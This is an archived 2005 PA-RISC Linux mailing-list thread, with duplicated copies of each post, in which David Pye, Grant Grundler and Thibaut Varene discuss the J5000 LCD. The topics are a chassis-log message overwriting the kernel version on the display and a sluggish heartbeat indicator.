Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: J5000 LCD heartbeat
Date: Sun, 20 Mar 2005 19:18:29 +0000
Lines: 106
Approved: news@gmane.org
Message-ID: <200503201918.31808.dmp__31422.1789864407$1416623700$gmane$org@davidmpye.dyndns.org>
References: <200503191959.05972.dmp@davidmpye.dyndns.org>
	<200503192233.26991.dmp@davidmpye.dyndns.org>
	<20050319231911.GB21898@colo.lackof.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1102936118=="
X-Trace: ger.gmane.org 1416623700 13048 80.91.229.3 (22 Nov 2014 02:35:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2005 19:18:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 20 Mar 2005 20:18:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 848D67D652;
	Sun, 20 Mar 2005 12:20:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01906-10; Sun, 20 Mar 2005 12:20:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 354B77D662;
	Sun, 20 Mar 2005 12:20:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4082F7D652
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 12:19:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01812-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 12:19:58 -0700 (MST)
Original-Received: from blaster.systems.pipex.net (blaster.systems.pipex.net
	[62.241.163.7])
	by free.linux.hp.com (Postfix) with ESMTP id 973597D633
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 12:19:58 -0700 (MST)
Original-Received: from platinum (81-86-96-140.dsl.pipex.com [81.86.96.140])
	by blaster.systems.pipex.net (Postfix) with ESMTP id 9D826E0000AF;
	Sun, 20 Mar 2005 19:18:32 +0000 (GMT)
User-Agent: KMail/1.7.2
In-Reply-To: <20050319231911.GB21898@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8qBWKklETlIv47eQeGhrSVVGU2poZRnd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22450

--===============1102936118==
Content-Type: multipart/signed; boundary="nextPart1173332.YS2Icdyj7t";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1173332.YS2Icdyj7t
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 19 March 2005 23:19, Grant Grundler wrote:
> On Sat, Mar 19, 2005 at 10:33:24PM +0000, David Pye wrote:
> > The other thing is that the kernel version which is displayed on the lcd
> > by default is overwritten partly by a:
> >
> > INI CC01
> >
> > It's not a huge issue for me, as I can overwrite it again by echo'ing my
> > message into /proc/pdc/lcd post boot.
>
> This is the firmware showing the "Chassis Log" as emitted by the kernel.
> Some platforms (e.g. A500/rp2470) use chassis logs to set the LED
> properly.
>
> > Is it possible to make the write to the display later in the boot
> > process, so it occurs after the INI CC01 is printed?
>
> I would think it's possible.
> You want to track down where the CC01 chassis_log is emitted then
> propose a better place to initialize LED display?

I think I have an idea that it's related to CPU1 init, but I haven't confir=
med=20
this yet - depending on your feedback to the idea below, I won't bother=20
tracing it down.

> Another idea is the chassis log code might want to clear the LED
> diplay when displaying a chassis log and then a few seconds later
> refresh the LED display with the original contents or something.

At the very least, I think it needs to clear the lcd display before it send=
s=20
the chassis code to the PDC.  How does this sound:

Clear the lcd
Send the chassis code
set up a timer for 15 seconds, say, to restore the original display text

This requires a couple of changes to led.c so firmware.c can tell whether t=
he=20
machine has an LCD or not. (If it does, then do the above, otherwise just=20
send the chassis code as before.)

If you agree that this is something useful, I will do some more hacking on =
it.=20
Otherwise, I'll do the other option and arrange the the chassis log to be=20
sent before the lcd has the initial text printed on it.

Another idea I had was this:

How about making the text scrollable? ie if the string is longer than the=20
viewport, scroll it along at a reasonable rate.

I'm willing to have a play with this too, if people think it's something wo=
rth=20
having.

Did you have any hints you could give me as to fix my very occasional=20
heartbeat issue either?=20

Cheers,

David

<snip>

> thanks,
> grant

--nextPart1173332.YS2Icdyj7t
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCPcyHOIrGtzS07WgRAt0nAKDJaLLPsi/j3+x4zOI54p/1V8f/+QCfdGjR
M8Td92NIeLBI1O4/x/v4c0Q=
=9KnP
-----END PGP SIGNATURE-----

--nextPart1173332.YS2Icdyj7t--

--===============1102936118==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1102936118==--



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: J5000 LCD heartbeat
Date: Sun, 20 Mar 2005 19:18:29 +0000
Lines: 94
Approved: news@gmane.org
Message-ID: <200503201918.31808.dmp__33106.9208602004$1416623701$gmane$org@davidmpye.dyndns.org>
References: <200503191959.05972.dmp@davidmpye.dyndns.org> <200503192233.26991.dmp@davidmpye.dyndns.org> <20050319231911.GB21898@colo.lackof.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1173332.YS2Icdyj7t";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623701 13051 80.91.229.3 (22 Nov 2014 02:35:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:01 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2005 19:18:44 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx037) with SMTP; 20 Mar 2005 20:18:44 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 13FB02EAD6; Sun, 20 Mar 2005 13:18:41 -0600 (CST)
Old-Return-Path: <dmp@davidmpye.dyndns.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from blaster.systems.pipex.net (blaster.systems.pipex.net [62.241.163.7])
	by murphy.debian.org (Postfix) with ESMTP id 15A2F2EA88
	for <debian-hppa@lists.debian.org>; Sun, 20 Mar 2005 13:18:35 -0600 (CST)
Original-Received: from platinum (81-86-96-140.dsl.pipex.com [81.86.96.140])
	by blaster.systems.pipex.net (Postfix) with ESMTP id 9D826E0000AF;
	Sun, 20 Mar 2005 19:18:32 +0000 (GMT)
User-Agent: KMail/1.7.2
In-Reply-To: <20050319231911.GB21898@colo.lackof.org>
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-4.0 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <JqTw2B.A.tSF.RycPCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4323
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 20 Mar 2005 13:18:41 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: 9aBWKglETlIv47eQeGhrSVVGU2poZVnZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22451

--nextPart1173332.YS2Icdyj7t
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 19 March 2005 23:19, Grant Grundler wrote:
> On Sat, Mar 19, 2005 at 10:33:24PM +0000, David Pye wrote:
> > The other thing is that the kernel version which is displayed on the lcd
> > by default is overwritten partly by a:
> >
> > INI CC01
> >
> > It's not a huge issue for me, as I can overwrite it again by echo'ing my
> > message into /proc/pdc/lcd post boot.
>
> This is the firmware showing the "Chassis Log" as emitted by the kernel.
> Some platforms (e.g. A500/rp2470) use chassis logs to set the LED
> properly.
>
> > Is it possible to make the write to the display later in the boot
> > process, so it occurs after the INI CC01 is printed?
>
> I would think it's possible.
> You want to track down where the CC01 chassis_log is emitted then
> propose a better place to initialize LED display?

I think I have an idea that it's related to CPU1 init, but I haven't confir=
med=20
this yet - depending on your feedback to the idea below, I won't bother=20
tracing it down.

> Another idea is the chassis log code might want to clear the LED
> diplay when displaying a chassis log and then a few seconds later
> refresh the LED display with the original contents or something.

At the very least, I think it needs to clear the lcd display before it send=
s=20
the chassis code to the PDC.  How does this sound:

Clear the lcd
Send the chassis code
set up a timer for 15 seconds, say, to restore the original display text

This requires a couple of changes to led.c so firmware.c can tell whether t=
he=20
machine has an LCD or not. (If it does, then do the above, otherwise just=20
send the chassis code as before.)

If you agree that this is something useful, I will do some more hacking on =
it.=20
Otherwise, I'll do the other option and arrange the the chassis log to be=20
sent before the lcd has the initial text printed on it.

Another idea I had was this:

How about making the text scrollable? ie if the string is longer than the=20
viewport, scroll it along at a reasonable rate.

I'm willing to have a play with this too, if people think it's something wo=
rth=20
having.

Did you have any hints you could give me as to fix my very occasional=20
heartbeat issue either?=20

Cheers,

David

<snip>

> thanks,
> grant

--nextPart1173332.YS2Icdyj7t
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCPcyHOIrGtzS07WgRAt0nAKDJaLLPsi/j3+x4zOI54p/1V8f/+QCfdGjR
M8Td92NIeLBI1O4/x/v4c0Q=
=9KnP
-----END PGP SIGNATURE-----

--nextPart1173332.YS2Icdyj7t--


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: J5000 LCD heartbeat
Date: Sun, 20 Mar 2005 19:52:29 +0000
Lines: 115
Approved: news@gmane.org
Message-ID: <200503201952.31465.dmp__6864.10101266137$1416623701$gmane$org@davidmpye.dyndns.org>
References: <200503191959.05972.dmp@davidmpye.dyndns.org> <200503201918.31808.dmp@davidmpye.dyndns.org> <20050320204032.3ed40468@Tatooine.r3z0>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1316504.W30BOMpaHa";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623701 13052 80.91.229.3 (22 Nov 2014 02:35:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:01 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2005 19:52:43 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx042) with SMTP; 20 Mar 2005 20:52:43 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 71FB52E75B; Sun, 20 Mar 2005 13:52:40 -0600 (CST)
Old-Return-Path: <dmp@davidmpye.dyndns.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from astro.systems.pipex.net (astro.systems.pipex.net [62.241.163.6])
	by murphy.debian.org (Postfix) with ESMTP id 74D872E282
	for <debian-hppa@lists.debian.org>; Sun, 20 Mar 2005 13:52:34 -0600 (CST)
Original-Received: from platinum (81-86-96-140.dsl.pipex.com [81.86.96.140])
	by astro.systems.pipex.net (Postfix) with ESMTP id 00588E000143;
	Sun, 20 Mar 2005 19:52:32 +0000 (GMT)
User-Agent: KMail/1.7.2
In-Reply-To: <20050320204032.3ed40468@Tatooine.r3z0>
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-3.6 required=4.0 tests=AWL,IMPRONONCABLE_1,
	LDOSUBSCRIBER autolearn=no version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <-z2WBC.A.ozG.ISdPCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4324
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 20 Mar 2005 13:52:40 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: 7bhWKsQcTlIv47eQeGhrSVVGU2poZRna
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22452

--nextPart1316504.W30BOMpaHa
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi, and thanks for your reply.

On Sunday 20 March 2005 19:40, you wrote:

> > I think I have an idea that it's related to CPU1 init, but I haven't
> > confirmed this yet - depending on your feedback to the idea below, I
> > won't bother tracing it down.
>
> Don't bother. I have that kind of message left on my j5k LCD has well,
> that's been there for ages, without problem.

Well, I'd like to see it gone myself, even though it doesn't do anything=20
unpleasant. It is a little messy, at least having it mangled up with the=20
Linux default text is.

If all it takes to prevent it is to make the lcd init happen slightly later=
 in=20
the boot process (ie after the chassis code was emitted), I'd have thought =
it=20
would be an easy win.

> If you think about the firmware code that drives the display of chassis
> messages, it's firmware, changing how it works is pretty much not
> possible at that point. If you think about the PDC Chassis driver, that
> code doesn't work (read, "isn't activated") on j5k and other System Map
> firmware machines, it only works on PDC PAT machines (eg high end
> servers).

Yeah, true. So, if the PDC chassis driver isn't used on the j5k, how does t=
he=20
chassis message get sent from the kernel to the PDC?  I haven't worked that=
=20
out yet.

> I don't think this is either useful nor desirable. We want to have the
> firmware messages going over whatever the led/lcd driver would have shown,
> and going into such a pain for a corner case doesn't really seem worth it.

At the very least, clearing the display first before the message is shown=20
would have been helpful, imho. =20

I'd personally like to have the firmware message displayed only for a limit=
ed=20
time, though I can see a counter argument for this.  But not for having=20
cleared the display first, though. (Whether this is possible depends on you=
r=20
answer as to how the PDC is told to display the message!)

> > Another idea I had was this:
> >
> > How about making the text scrollable? ie if the string is longer than
> > the viewport, scroll it along at a reasonable rate.
>
> That has been considered and eventually ruled out. Remember we're in
> kernel context, this is not meant to be eye candy etc. The pretty
> formatting you suggest should be eventually a userland task, certainly not
> a supplementary burden for the kernel.

Yep, agreed, that probably isn't a worthwhile thing to add. I was just=20
thinking of other random ideas, that's all.

> > Did you have any hints you could give me as to fix my very occasional
> > heartbeat issue either?
>
> I recall that the LCD heartbeat is quite slow on my j5k as well, but
> nothing really awful, afaicr.

Well, here it's sufficiently slow to be utterly useless as a heartbeat,=20
anyway. It usually flips state every 10-30 seconds, depending on how it=20
feels. It certainly doesn't boot.

I realise the LCD functionality is something fairly minor, and that I'm bei=
ng=20
picky, but I'd be happy to invest some time to do some fine tuning.  The on=
ly=20
two must-haves for me is to nail the INI CC01 message being displayed over=
=20
the Linux kernel version display, and preferably to make my heart beat too =
;)

Thanks,

David

> HTH
>
> Thibaut VARENE
> The PA/Linux Team
> http://www.pateam.org/

--nextPart1316504.W30BOMpaHa
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCPdR/OIrGtzS07WgRAuv8AJ4xxOLkWthz+GhkoJI1+EN0YA/hegCfZMBM
vnGYXH1Drk889/tD9z2gjh4=
=DF4t
-----END PGP SIGNATURE-----

--nextPart1316504.W30BOMpaHa--


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: J5000 LCD heartbeat
Date: Sun, 20 Mar 2005 19:52:29 +0000
Lines: 127
Approved: news@gmane.org
Message-ID: <200503201952.31465.dmp__49374.9306224801$1416623701$gmane$org@davidmpye.dyndns.org>
References: <200503191959.05972.dmp@davidmpye.dyndns.org>
	<200503201918.31808.dmp@davidmpye.dyndns.org>
	<20050320204032.3ed40468@Tatooine.r3z0>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============2024669433=="
X-Trace: ger.gmane.org 1416623701 13054 80.91.229.3 (22 Nov 2014 02:35:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2005 19:53:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 20 Mar 2005 20:53:07 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFE3E7D672;
	Sun, 20 Mar 2005 12:54:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02624-04; Sun, 20 Mar 2005 12:54:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D98F27D66B;
	Sun, 20 Mar 2005 12:54:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 902AF7D662
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 12:53:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02624-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 12:53:58 -0700 (MST)
Original-Received: from astro.systems.pipex.net (astro.systems.pipex.net [62.241.163.6])
	by free.linux.hp.com (Postfix) with ESMTP id DA4907D646
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 12:53:57 -0700 (MST)
Original-Received: from platinum (81-86-96-140.dsl.pipex.com [81.86.96.140])
	by astro.systems.pipex.net (Postfix) with ESMTP id 00588E000143;
	Sun, 20 Mar 2005 19:52:32 +0000 (GMT)
User-Agent: KMail/1.7.2
In-Reply-To: <20050320204032.3ed40468@Tatooine.r3z0>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xbhWKpwETlIv47eQeGhrSVVGU2poZdng
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22453

--===============2024669433==
Content-Type: multipart/signed; boundary="nextPart1316504.W30BOMpaHa";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1316504.W30BOMpaHa
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi, and thanks for your reply.

On Sunday 20 March 2005 19:40, you wrote:

> > I think I have an idea that it's related to CPU1 init, but I haven't
> > confirmed this yet - depending on your feedback to the idea below, I
> > won't bother tracing it down.
>
> Don't bother. I have that kind of message left on my j5k LCD has well,
> that's been there for ages, without problem.

Well, I'd like to see it gone myself, even though it doesn't do anything=20
unpleasant. It is a little messy, at least having it mangled up with the=20
Linux default text is.

If all it takes to prevent it is to make the lcd init happen slightly later=
 in=20
the boot process (ie after the chassis code was emitted), I'd have thought =
it=20
would be an easy win.

> If you think about the firmware code that drives the display of chassis
> messages, it's firmware, changing how it works is pretty much not
> possible at that point. If you think about the PDC Chassis driver, that
> code doesn't work (read, "isn't activated") on j5k and other System Map
> firmware machines, it only works on PDC PAT machines (eg high end
> servers).

Yeah, true. So, if the PDC chassis driver isn't used on the j5k, how does t=
he=20
chassis message get sent from the kernel to the PDC?  I haven't worked that=
=20
out yet.

> I don't think this is either useful nor desirable. We want to have the
> firmware messages going over whatever the led/lcd driver would have shown,
> and going into such a pain for a corner case doesn't really seem worth it.

At the very least, clearing the display first before the message is shown=20
would have been helpful, imho. =20

I'd personally like to have the firmware message displayed only for a limit=
ed=20
time, though I can see a counter argument for this.  But not for having=20
cleared the display first, though. (Whether this is possible depends on you=
r=20
answer as to how the PDC is told to display the message!)

> > Another idea I had was this:
> >
> > How about making the text scrollable? ie if the string is longer than
> > the viewport, scroll it along at a reasonable rate.
>
> That has been considered and eventually ruled out. Remember we're in
> kernel context, this is not meant to be eye candy etc. The pretty
> formatting you suggest should be eventually a userland task, certainly not
> a supplementary burden for the kernel.

Yep, agreed, that probably isn't a worthwhile thing to add. I was just=20
thinking of other random ideas, that's all.

> > Did you have any hints you could give me as to fix my very occasional
> > heartbeat issue either?
>
> I recall that the LCD heartbeat is quite slow on my j5k as well, but
> nothing really awful, afaicr.

Well, here it's sufficiently slow to be utterly useless as a heartbeat,=20
anyway. It usually flips state every 10-30 seconds, depending on how it=20
feels. It certainly doesn't boot.

I realise the LCD functionality is something fairly minor, and that I'm bei=
ng=20
picky, but I'd be happy to invest some time to do some fine tuning.  The on=
ly=20
two must-haves for me is to nail the INI CC01 message being displayed over=
=20
the Linux kernel version display, and preferably to make my heart beat too =
;)

Thanks,

David

> HTH
>
> Thibaut VARENE
> The PA/Linux Team
> http://www.pateam.org/

--nextPart1316504.W30BOMpaHa
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCPdR/OIrGtzS07WgRAuv8AJ4xxOLkWthz+GhkoJI1+EN0YA/hegCfZMBM
vnGYXH1Drk889/tD9z2gjh4=
=DF4t
-----END PGP SIGNATURE-----

--nextPart1316504.W30BOMpaHa--

--===============2024669433==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============2024669433==--



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: J5000 LCD heartbeat
Date: Sun, 20 Mar 2005 20:40:32 +0100
Organization: ESIEE
Lines: 92
Approved: news@gmane.org
Message-ID: <20050320204032.3ed40468__4011.29490132934$1416623702$gmane$org@Tatooine.r3z0>
